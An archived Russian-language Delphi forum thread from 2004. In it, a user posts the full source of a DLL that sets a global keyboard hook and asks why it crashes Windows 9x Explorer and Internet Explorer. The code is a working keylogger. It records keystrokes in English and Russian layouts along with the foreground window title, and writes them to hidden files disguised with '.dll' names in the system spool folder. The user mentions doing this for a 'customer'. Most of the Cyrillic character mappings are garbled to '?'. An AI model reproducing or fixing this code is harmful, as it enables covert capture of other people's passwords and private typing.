Форум: "Основная";
Текущий архив: 2004.02.29;
Скачать: [xml.tar.bz2];
ВнизОшибка при перехвате ввода с клавиатуры в 9x Найти похожие ветки
← →
DelphiN! (2004-02-09 21:21) [0]Здравствуйте уважаемые, вот у меня совершенно непонятная для меня проблемма возникла, значит устанавливаю я хук на ввод с клавиатуры, хук расположен в Длл библиотеке, значит когда я загружаю эту Длл в Win XP или 2000, то все работает OK, но когда делаю тоже самое в 9х, все вродибы ничего, но вот например когда печатаю в строке адреса IE или проводнике выскакивает системная ошибка, где написано что программа выполнила недопустимую операцию, и якобы ошибка произошла в моей Длл, а когда печатаю гденибудь в блокноте, то все работает ОК, странно из-за чего бы это могло быть, вот выкладываю код моей ДЛЛ:
library Hook;
uses
Windows,sysutils,
Constants in "Constants.pas";
var
KeyboardHook: HHOOK;
b:boolean;
sysdir:array[0..255] of char;
f:textfile;
function KeyboardProc(hCode: Integer; wParam: Longint; lParam: Longint): LRESULT; stdcall;
var
Wnd: THandle;
s: array[0..80] of char;
str:string;
Layout: array [0.. KL_NAMELENGTH] of char;
en:boolean;
chr1:string;
shiftdown:boolean;
State : TKeyboardState;
begin
if hCode = HC_ACTION then
begin
// if b = false then begin
s := "";
GetKeyboardLayoutName(Layout);
if Layout = "00000409" then
en := true
else en := false;
GetKeyboardState(State);
ShiftDown := ((State[vk_Shift] and 128) <> 0);
if en then begin
if not ShiftDown then begin
case WParam of
192:chr1 := "`";
49:chr1 := "1";
50:chr1 := "2";
51:chr1 := "3";
52:chr1 := "4";
53:chr1 := "5";
54:chr1 := "6";
55:chr1 := "7";
56:chr1 := "8";
57:chr1 := "9";
48:chr1 := "0";
189:chr1 := "-";
187:chr1 := "=";
220:chr1 := "\";
81:chr1 := "q";
87:chr1 := "w";
69:chr1 := "e";
82:chr1 := "r";
84:chr1 := "t";
89:chr1 := "y";
85:chr1 := "u";
73:chr1 := "i";
79:chr1 := "o";
80:chr1 := "p";
219:chr1 := "[";
221:chr1 := "]";
65:chr1 := "a";
83:chr1 := "s";
68:chr1 := "d";
70:chr1 := "f";
71:chr1 := "g";
72:chr1 := "h";
74:chr1 := "j";
75:chr1 := "k";
76:chr1 := "l";
186:chr1 := ";";
222:chr1 := """;
90:chr1 := "z";
88:chr1 := "x";
67:chr1 := "c";
86:chr1 := "v";
66:chr1 := "b";
78:chr1 := "n";
77:chr1 := "m";
188:chr1 := ",";
190:chr1 := ".";
191:chr1 := "/";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end else begin
case wparam of
192:chr1 := "~";
49:chr1 := "!";
50:chr1 := "@";
51:chr1 := "#";
52:chr1 := "$";
53:chr1 := "%";
54:chr1 := "^";
55:chr1 := "&";
56:chr1 := "*";
57:chr1 := "(";
48:chr1 := ")";
189:chr1 := "_";
187:chr1 := "+";
220:chr1 := "|";
81:chr1 := "Q";
87:chr1 := "W";
69:chr1 := "E";
82:chr1 := "R";
84:chr1 := "T";
89:chr1 := "Y";
85:chr1 := "U";
73:chr1 := "I";
79:chr1 := "O";
80:chr1 := "P";
219:chr1 := "{";
221:chr1 := "}";
65:chr1 := "A";
83:chr1 := "S";
68:chr1 := "D";
70:chr1 := "F";
71:chr1 := "G";
72:chr1 := "H";
74:chr1 := "J";
75:chr1 := "K";
76:chr1 := "L";
186:chr1 := ":";
222:chr1 := """;
90:chr1 := "Z";
88:chr1 := "X";
67:chr1 := "C";
86:chr1 := "V";
66:chr1 := "B";
78:chr1 := "N";
77:chr1 := "M";
188:chr1 := "<";
190:chr1 := ">";
191:chr1 := "?";
32:chr1 := " ";
13:chr1 := "enter";
9 :chr1 := #13#10;
end;
end;
end else begin
if not ShiftDown then begin
case WParam of
192:chr1 := "?";
49:chr1 := "1";
50:chr1 := "2";
51:chr1 := "3";
52:chr1 := "4";
53:chr1 := "5";
54:chr1 := "6";
55:chr1 := "7";
56:chr1 := "8";
57:chr1 := "9";
48:chr1 := "0";
189:chr1 := "-";
187:chr1 := "=";
220:chr1 := "\";
81:chr1 := "?";
87:chr1 := "?";
69:chr1 := "?";
82:chr1 := "?";
84:chr1 := "?";
89:chr1 := "?";
85:chr1 := "?";
73:chr1 := "?";
79:chr1 := "?";
80:chr1 := "?";
219:chr1 := "?";
221:chr1 := "?";
65:chr1 := "?";
83:chr1 := "?";
68:chr1 := "?";
70:chr1 := "?";
71:chr1 := "?";
72:chr1 := "?";
74:chr1 := "?";
75:chr1 := "?";
76:chr1 := "?";
186:chr1 := "?";
222:chr1 := "?";
90:chr1 := "?";
88:chr1 := "?";
67:chr1 := "?";
86:chr1 := "?";
66:chr1 := "?";
78:chr1 := "?";
77:chr1 := "?";
188:chr1 := "?";
190:chr1 := "?";
191:chr1 := ".";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end else begin
case WParam of
192:chr1 := "?";
49:chr1 := "!";
50:chr1 := """;
51:chr1 := "?";
52:chr1 := ";";
53:chr1 := "%";
54:chr1 := ":";
55:chr1 := "?";
56:chr1 := "*";
57:chr1 := "(";
48:chr1 := ")";
189:chr1 := "_";
187:chr1 := "+";
220:chr1 := "/";
81:chr1 := "?";
87:chr1 := "?";
69:chr1 := "?";
82:chr1 := "?";
84:chr1 := "?";
89:chr1 := "?";
85:chr1 := "?";
73:chr1 := "?";
79:chr1 := "?";
80:chr1 := "?";
219:chr1 := "?";
221:chr1 := "?";
65:chr1 := "?";
83:chr1 := "?";
68:chr1 := "?";
70:chr1 := "?";
71:chr1 := "?";
72:chr1 := "?";
74:chr1 := "?";
75:chr1 := "?";
76:chr1 := "?";
186:chr1 := "?";
222:chr1 := "?";
90:chr1 := "?";
88:chr1 := "?";
67:chr1 := "?";
86:chr1 := "?";
66:chr1 := "?";
78:chr1 := "?";
77:chr1 := "?";
188:chr1 := "?";
190:chr1 := "?";
191:chr1 := ",";
32:chr1 := " ";
13:chr1 := #13#10;
9 :chr1 := #13#10;
end;
end;
end;
if chr1 <> "" then begin
getwindowtext(getforegroundwindow,s,80);
getsystemdirectory(sysdir,255);
if b = true then begin
if not fileexists(sysdir+"\spool\DLL\"+s+".dll") then begin
assign(f,sysdir+"\spool\DLL\"+s+".dll");
rewrite(f);
writeln(f," -------------- "+s+" --------------");
closefile(f);
end else
assign(f,sysdir+"\spool\DLL\"+s+".dll");
append(f);
write(f,chr1);
closefile(f);
b := false;
end else b := true;
end;
end;
Result := CallNextHookEx(KeyboardHook, hCode, wParam, lParam);
end;
function SetKeyboardHook: Boolean; stdcall; export;
begin
KeyboardHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, HInstance, 0);
Result := KeyboardHook <> 0;
end;
function RemoveKeyboardHook: Boolean; stdcall; export;
begin
Result := UnhookWindowsHookEx(KeyboardHook);
end;
exports SetKeyboardHook, RemoveKeyboardHook;
begin
end.
Заранее благодарен
← →
DelphiN! (2004-02-16 23:13) [1]До этого заказчик мне про ошибку говорил, сейчас сам 9х поставил, вроде только в notepad-е когда печатаешь все ок, а когда в папке клавишу нажмешь или в командной строке где, все, сразу ошибка.И еще ошибка вроде в ME вылетает.
Помогите решить проблемму,
Заранее благодарен
Страницы: 1 вся ветка
Форум: "Основная";
Текущий архив: 2004.02.29;
Скачать: [xml.tar.bz2];
Память: 0.47 MB
Время: 0.012 c